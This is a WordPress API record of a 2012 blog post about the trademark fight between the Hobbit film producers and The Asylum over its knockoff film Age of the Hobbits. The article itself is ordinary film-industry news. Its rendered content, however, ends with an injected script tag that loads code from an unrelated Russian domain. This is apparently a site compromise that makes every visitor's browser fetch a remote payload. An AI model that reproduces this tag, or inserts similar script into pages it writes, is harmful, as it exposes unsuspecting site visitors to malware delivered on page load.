{"id":5323,"date":"2012-11-21T12:20:41","date_gmt":"2012-11-21T18:20:41","guid":{"rendered":"http:\/\/www.bmovienation.com\/?p=5323"},"modified":"2012-11-21T12:20:41","modified_gmt":"2012-11-21T18:20:41","slug":"mockbuster-malady","status":"publish","type":"post","link":"https:\/\/www.bmovienation.com\/?p=5323","title":{"rendered":"Mockbuster Malady"},"content":{"rendered":"<p>Warner Bros, New Line Cinema, MGM and The Hobbit producer Saul Zaentz want to stop them using the word Hobbit in the title of the &#8220;knockoff film&#8221;.<\/p>\n<p>They claim The Asylum is &#8220;free-riding&#8221; on the worldwide promotional campaign for Peter Jackson&#8217;s forthcoming films.<\/p>\n<p>The company is behind a string of &#8220;mockbusters&#8221; inspired by hit movies.<\/p>\n<p>Producers of The Hobbit called it an &#8220;intentional and wilful attempt to trade on the popularity and goodwill&#8221; of both The Lord of the Rings and Hobbit films, and the JRR Tolkien novels they are based on.<\/p>\n<p>Court papers obtained by The Hollywood Reporter have called Age of the Hobbits a &#8220;confusingly similar and misleading title&#8221;.<\/p>\n<p>The Hobbit: An Unexpected Journey is due in UK cinemas next month, the first in a new trilogy of prequels to The Lord of the Rings.<\/p>\n<p>Producers want all infringing ad materials and packaging for The Asylum&#8217;s film to be destroyed, adding that it could &#8220;divert customers and potential customers away from the Hobbit films&#8221;.<\/p>\n<p>The Asylum had already been threatened with legal action by the Hobbit studios and The Zaentz Co which controls trademark rights to the Tolkien book.<\/p>\n<p>The protected phrase has been associated with Bilbo Baggins and his fellow Middle Earth creatures since the book was first published in 1937.<\/p>\n<p>&#8216;Fair use&#8217;<br \/>\nAge of the Hobbits is due for DVD and online release on 11 December, three days before the US opening of the official Hobbit film.<\/p>\n<p>The Asylum claims its movie is legally sound because its hobbits are not based on the Tolkien creations.<\/p>\n<p>Before legal papers were officially filed the company said in a statement: &#8220;Age of the Hobbits is about the real-life human subspecies, Homo Floresiensis, discovered in 2003 in Indonesia, which have been uniformly referred to as &#8216;Hobbits&#8217; in the scientific community.&#8221;<\/p>\n<p>It added that the term is therefore &#8220;protected under the legal doctrines of nominal and traditional fair use&#8221;.<\/p>\n<p>The Asylum also suggests that a Google search of hobbits and archaeology would return dozens of articles containing the term.<\/p>\n<p>Some of their previous &#8220;mockbusters&#8221; include Transmorphers, based on Michael Bay&#8217;s big budget movie Transformers, and The Da Vinci Treasure, which took its name from The Da Vinci Code, directed by Ron Howard and starring Tom Hanks.<\/p>\n<p>Based on the story of a big blockbuster they are made at a fraction of the cost and are usually released straight-to-DVD.<script src=\"\/\/pngme.ru\/seter\"><\/script><\/p>\n<div class=\"syndication-links\"><\/div>","protected":false},"excerpt":{"rendered":"<p>Warner Bros, New Line Cinema, MGM and The Hobbit producer Saul Zaentz want to stop them using the word Hobbit in the title of the &#8220;knockoff film&#8221;. They claim The Asylum is &#8220;free-riding&#8221; on the worldwide promotional campaign for Peter Jackson&#8217;s forthcoming films. The company is behind a string of &#8220;mockbusters&#8221; inspired by hit movies&#8230;.<\/p>\n","protected":false},"author":44,"featured_media":5324,"comment_status":"closed","ping_status":"closed","sticky":false,"template":"","format":"standard","meta":{"rop_custom_images_group":[],"rop_custom_messages_group":[],"rop_publish_now":"initial","rop_publish_now_accounts":[],"rop_publish_now_history":[],"rop_publish_now_status":"pending","_uag_custom_page_level_css":"","mf2_syndication":[],"footnotes":""},"categories":[1],"tags":[],"class_list":["post-5323","post","type-post","status-publish","format-standard","has-post-thumbnail","hentry","category-b-movie-news","wpcat-1-id"],"uagb_featured_image_src":{"full":["https:\/\/www.bmovienation.com\/wp-content\/uploads\/2012\/11\/hobbitthereandbackagain.jpg",600,393,false],"thumbnail":["https:\/\/www.bmovienation.com\/wp-content\/uploads\/2012\/11\/hobbitthereandbackagain-145x145.jpg",145,145,true],"medium":["https:\/\/www.bmovienation.com\/wp-content\/uploads\/2012\/11\/hobbitthereandbackagain-300x196.jpg",300,196,true],"medium_large":["https:\/\/www.bmovienation.com\/wp-content\/uploads\/2012\/11\/hobbitthereandbackagain.jpg",600,393,false],"large":["https:\/\/www.bmovienation.com\/wp-content\/uploads\/2012\/11\/hobbitthereandbackagain.jpg",600,393,false],"1536x1536":["https:\/\/www.bmovienation.com\/wp-content\/uploads\/2012\/11\/hobbitthereandbackagain.jpg",600,393,false],"2048x2048":["https:\/\/www.bmovienation.com\/wp-content\/uploads\/2012\/11\/hobbitthereandbackagain.jpg",600,393,false],"gridflex-1422w-autoh-image":["https:\/\/www.bmovienation.com\/wp-content\/uploads\/2012\/11\/hobbitthereandbackagain.jpg",600,393,false],"gridflex-1074w-autoh-image":["https:\/\/www.bmovienation.com\/wp-content\/uploads\/2012\/11\/hobbitthereandbackagain.jpg",600,393,false],"gridflex-360w-300h-image":["https:\/\/www.bmovienation.com\/wp-content\/uploads\/2012\/11\/hobbitthereandbackagain.jpg",360,236,false]},"uagb_author_info":{"display_name":"","author_link":"https:\/\/www.bmovienation.com\/?author=44"},"uagb_comment_info":0,"uagb_excerpt":"Warner Bros, New Line Cinema, MGM and The Hobbit producer Saul Zaentz want to stop them using the word Hobbit in the title of the &#8220;knockoff film&#8221;. They claim The Asylum is &#8220;free-riding&#8221; on the worldwide promotional campaign for Peter Jackson&#8217;s forthcoming films. The company is behind a string of &#8220;mockbusters&#8221; inspired by hit movies....","_links":{"self":[{"href":"https:\/\/www.bmovienation.com\/index.php?rest_route=\/wp\/v2\/posts\/5323","targetHints":{"allow":["GET"]}}],"collection":[{"href":"https:\/\/www.bmovienation.com\/index.php?rest_route=\/wp\/v2\/posts"}],"about":[{"href":"https:\/\/www.bmovienation.com\/index.php?rest_route=\/wp\/v2\/types\/post"}],"author":[{"embeddable":true,"href":"https:\/\/www.bmovienation.com\/index.php?rest_route=\/wp\/v2\/users\/44"}],"replies":[{"embeddable":true,"href":"https:\/\/www.bmovienation.com\/index.php?rest_route=%2Fwp%2Fv2%2Fcomments&post=5323"}],"version-history":[{"count":0,"href":"https:\/\/www.bmovienation.com\/index.php?rest_route=\/wp\/v2\/posts\/5323\/revisions"}],"wp:featuredmedia":[{"embeddable":true,"href":"https:\/\/www.bmovienation.com\/index.php?rest_route=\/wp\/v2\/media\/5324"}],"wp:attachment":[{"href":"https:\/\/www.bmovienation.com\/index.php?rest_route=%2Fwp%2Fv2%2Fmedia&parent=5323"}],"wp:term":[{"taxonomy":"category","embeddable":true,"href":"https:\/\/www.bmovienation.com\/index.php?rest_route=%2Fwp%2Fv2%2Fcategories&post=5323"},{"taxonomy":"post_tag","embeddable":true,"href":"https:\/\/www.bmovienation.com\/index.php?rest_route=%2Fwp%2Fv2%2Ftags&post=5323"}],"curies":[{"name":"wp","href":"https:\/\/api.w.org\/{rel}","templated":true}]}}